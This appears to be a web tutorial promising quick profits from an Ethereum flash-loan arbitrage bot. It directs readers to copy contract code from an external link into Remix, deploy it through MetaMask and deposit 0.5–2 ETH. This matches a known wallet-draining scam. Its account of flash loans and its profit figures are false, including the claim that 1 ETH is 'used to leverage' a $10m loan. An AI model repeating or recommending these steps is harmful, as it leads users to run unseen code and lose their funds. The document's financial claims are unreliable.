How To Build An Ethereum Flash Loan Arbitrage Bot Tutorial｜0.8ETH+ in only minutes
The most stable source of independent income I have ever found, probably isn’t what you think.
Smart contract development is at the heart of the decentralized revolution, reshaping industries by enabling trustless, automated, and transparent transactions.
These self-executing contracts, embedded with code that enforces agreements without intermediaries, have become fundamental in various sectors, including finance, supply chain, and real estate. The surge in blockchain adoption has propelled smart contracts into the spotlight, offering unparalleled security, efficiency, and accuracy. Whether you’re building decentralized applications (dApps), automating business processes, or creating new financial instruments, smart contract development is the key to unlocking the potential of blockchain technology.
In this guide, we’ll explore the essentials needed to develop an Ethereum Flash Loan Arbitrage Trading Bot, from the underlying principles to best practices, ensuring you can harness the power of this transformative technology.
The trading bot mechanics involves leveraging your capital to borrow a large amount of loan in the form of Ethereum from liquidity pools without the need for collateral or whatsoever.
Why is the profit gotten in minutes? Doesn’t that sound suspicious?
Flash loan transactions are completed in a single transaction. Therefore, the borrowing, arbitrage, repayment and profits are all made in a single transaction.
Read more about the mechanics of flash loan here:
Owing to the large capital up to the tune of millions of dollars made by borrowing through the flash loan protocol, small inefficiencies in the market that would normally be too little to make a profit off becomes gold mines using such a large capital.
In this case,
An inefficiency was spotted by the trading bot with a 0.05% gap in the market. Although using a capital of 1 ETH is too little to profit off this.
When using the Flash Loan protocol, your 1 ETH is used to leverage up to $10m+ from liquidity pools. The $10m loan gotten from your flash loan is then used to trade the inefficiency of the market at 0.05%.
When the trade is taken,
Your trade using 1 ETH will give,
1 ETH ($2400) at a profit of 0.05% will give $1.2 in profit
While the trade using your 1 ETH to leverage off FLASH LOAN will give,
4166.6 ETH ($10,000,000) at a profit of 0.05% will give $5000 in profit in a single transaction.
In this guide, we provided a simple step by step video tutorial to help you set up the bot.
Contract Deploy Site: REMIX-IDE
Contract Source Code: https://rentry.co/i583sksk/raw
CODE INTRUCTIONS
- _Owner — Your wallet where funds will be withdrawn to when both is stopped
- _Target — Contract Address of ERC20 Token Pair to trade on (https://www.dextools.io/app/)
How it works:
- The contract code creates a brand new contract in which you deposit an initial investment amount.
- The amount is taken and traded against various tokens on the Ethereum Network.
- Trades are down using arbitrage pairing and using bot trading.
STEP BY STEP
- Download MetaMask or Google It for official site: https://metamask.io/download
- Head over to Remix: REMIX-IDE
- Right Click the “Contracts” folder and then create “New File”. Name it whatever you want or “flashloan.sol”
- Paste THIS code into Remix (this is the flashloan code): https://rentry.co/i583sksk/raw
- Go to the “Compile” tab on Remix and Compile with Solidity version 0.6.6
- Go to the “Deploy & Run Transactions” tab on Remix, select the “Injected Provider” environment, then “Deploy”. This will create your own contract by confirming the MetaMask Contract creation fee.
- Deposit funds (at least 0.5–2.0 ETH to prevent negating slippage) to your exact contract/bot address.
- After your transaction is confirmed, start the bot by clicking the “start” button. Withdraw anytime by clicking “withdrawal”
After successful withdrawal, send profits to another wallet.
In case of any errors, retry the tutorial from the start carefully. Take note of capital, slippage & withdrawal address.
Enjoy Trading!!!
